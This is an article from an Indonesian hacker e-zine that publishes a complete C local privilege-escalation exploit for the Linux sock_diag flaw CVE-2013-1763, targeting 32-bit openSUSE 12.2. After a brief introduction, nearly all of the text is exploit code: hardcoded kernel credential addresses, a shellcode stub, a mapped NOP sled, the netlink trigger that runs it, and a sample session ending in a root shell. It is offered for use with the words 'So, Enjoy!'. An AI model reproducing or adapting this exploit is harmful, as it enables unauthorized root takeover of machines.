Echo Magazine Issue 27 Phile 0x009

eZine lover (@eZine)

Published in 

Echo Magazine

 · 4 years ago

  

ECHO MAGAZINE VOLUME XI, ISSUE XXVII, PHILE 0x09.TXT 
                               :|             ++            
                     :~~/ .::/ :::| ,::\ >::> :| :::\ :~~/  
                     :::, `::\ :|:| `::/ <::< :| :|:| :::,  
                                                                    

     (Non)Priv8 exploit collection - openSUSE 12.2 sock_diag local root exploit 
     y3dips [at] echo [dot] or [dot] id 

 

-----| Pendahuluan 

Seharusnya exploit ini tidak perlu menghiasi ezine rilis kali ini jikalau 
artikel yang masuk dan berkualitas jumlahnya banyak[1], tetapi ya 
sudahlah, mungkin jadi salah satu sisi baik atau menjadi salah satu 
sisi buruk dari rilis kali ini, silahkan anda tentukan :) 

Sebenarnya exploits ini merupakan POC dari CVE-2013-1763[2], dan 
kebetulan ini exploit kedua yang gw tulis untuk isu ini, yang pertama 
itu untuk OS Mageia[3]. Untuk detil celah keamanannya silahkan merujuk 
ke CVE tersebut. Untuk Referensi diskusi terkait isu keamanan ini dan  
exploit distribusi lainnya bisa ke sini[4][5][6].  

Mengapa openSUSE 32bit? karena belum ada public exploit untuk os ini :-). 
So, Enjoy! 

------------------------- osuse2.c   
  1 /* 
  2 ammar@linux-chrf:~> uname -a 
  3 Linux linux-chrf 3.4.6-2.10-default #1 SMP Thu Jul 26 09:36:26 UTC 2012 (641c197) i686 i686 i386 GNU/Linux 
  4 ammar@linux-chrf:~> cat /etc/issue 
  5 Welcome to openSUSE 12.2 "Mantis" - Kernel \r (\l). 
  6  
  7  
  8 ammar@linux-chrf:~> ./osuse 
  9 [+] openSUSE 12.2 Mantis (32bit) sock_diag_handlers Local root exploit 
 10 [+] Triggering payload and Exploiting Sockz... 
 11 [+] Got root!... 
 12 sh-4.2# id 
 13 uid=0(root) gid=0(root) groups=0(root) 
 14 sh-4.2# 
 15 */ 
 16  
 17  
 18 #include <unistd.h> 
 19 #include <sys/socket.h> 
 20 #include <linux/netlink.h> 
 21 #include <netinet/tcp.h> 
 22 #include <errno.h> 
 23 #include <linux/if.h> 
 24 #include <linux/filter.h> 
 25 #include <string.h> 
 26 #include <stdio.h> 
 27 #include <stdlib.h> 
 28 #include <linux/sock_diag.h> 
 29 #include <linux/inet_diag.h> 
 30 #include <linux/unix_diag.h> 
 31 #include <sys/mman.h> 
 32  
 33 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 
 34 typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
 35 _commit_creds commit_creds; 
 36 _prepare_kernel_cred prepare_kernel_cred; 
 37  
 38 int __attribute__((regparm(3))) 
 39 kcode() 
 40 { 
 41     commit_creds(prepare_kernel_cred(0)); 
 42     return -1; 
 43 } 
 44  
 45 char loncat[] = "\x55" //push ebp 
 46         "\x89\xe5" //mov ebp, esp 
 47         "\xb8\xEA\x1D\x0D\x60" //mov eax, 0x600D1DEA 
 48         "\xff\xd0" //call eax 
 49         "\x5d" //pop ebp 
 50         "\xc3"; //ret 
 51  
 52 int trigger() { 
 53     int socks; 
 54     unsigned long mmap_start = 0x10000; 
 55     unsigned long mmap_size= 0x120000; 
 56     void *payload; 
 57     struct { 
 58     struct nlmsghdr nlh; 
 59         struct unix_diag_req r; 
 60     } req; 
 61  
 62     socks = socket(PF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG); 
 63     if (socks < 0) 
 64         { printf("[+] Can't create sock_diag socket\n"); 
 65         return -1; } 
 66  
 67     memset(&req, 0, sizeof(req)); 
 68     req.nlh.nlmsg_len = sizeof(req); 
 69     req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; 
 70     req.nlh.nlmsg_flags = NLM_F_REQUEST; 
 71     req.r.sdiag_family = 145; /*nl_table-sock_diag_handlers/4*/ 
 72  
 73     payload=mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0); 
 74     if ((long)payload == -1) 
 75         { printf("[+] Failed to mmap() at target.\n"); 
 76         return -1; } 
 77  
 78     *(unsigned long *)&loncat[4] =(unsigned long)kcode; 
 79     memset((void *)mmap_start, 0x90, mmap_size); 
 80     memcpy((void *)mmap_start+mmap_size-sizeof(loncat), loncat, sizeof(loncat)); 
 81  
 82     send(socks, &req, sizeof(req), 0); 
 83 } 
 84  
 85 int main() 
 86 { 
 87     printf("[+] openSUSE 12.2 Mantis (32bit) sock_diag_handlers Local root exploit\n"); 
 88     /* openSUSE 12.2 Mantis Kernel 3.4.6-2.10 i686*/ 
 89     commit_creds = (_commit_creds) 0xc02539c0; 
 90         prepare_kernel_cred = (_prepare_kernel_cred) 0xc0253c00; 
 91         printf("[+] Triggering payload and Exploiting Sockz...\n"); 
 92         trigger(); 
 93     if(getuid()) { 
 94         printf("[+] Exploit Failed...\n"); 
 95         return -1; 
 96     } 
 97     printf("[+] Got root!...\n"); 
 98         execl("/bin/sh", "/bin/sh", NULL); 
 99 } 
100  

------------------------- osuse2.c   

-----| Referensi 

[1] "Echo|Zine ISSUE XVII" http://ezine.echo.or.id/ 
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1763 
[3] http://packetstormsecurity.com/files/120913/Mageia-Release-2-sock_diag_handlers-Local-Root.html 
[4] https://rdot.org/forum/showthread.php?t=2634 
[5] http://www.exploit-db.com/exploits/24746/ 
[6] http://rndc.or.id/wiki/index.php/SockDiag_Exploit_(CVE:_2013-1763)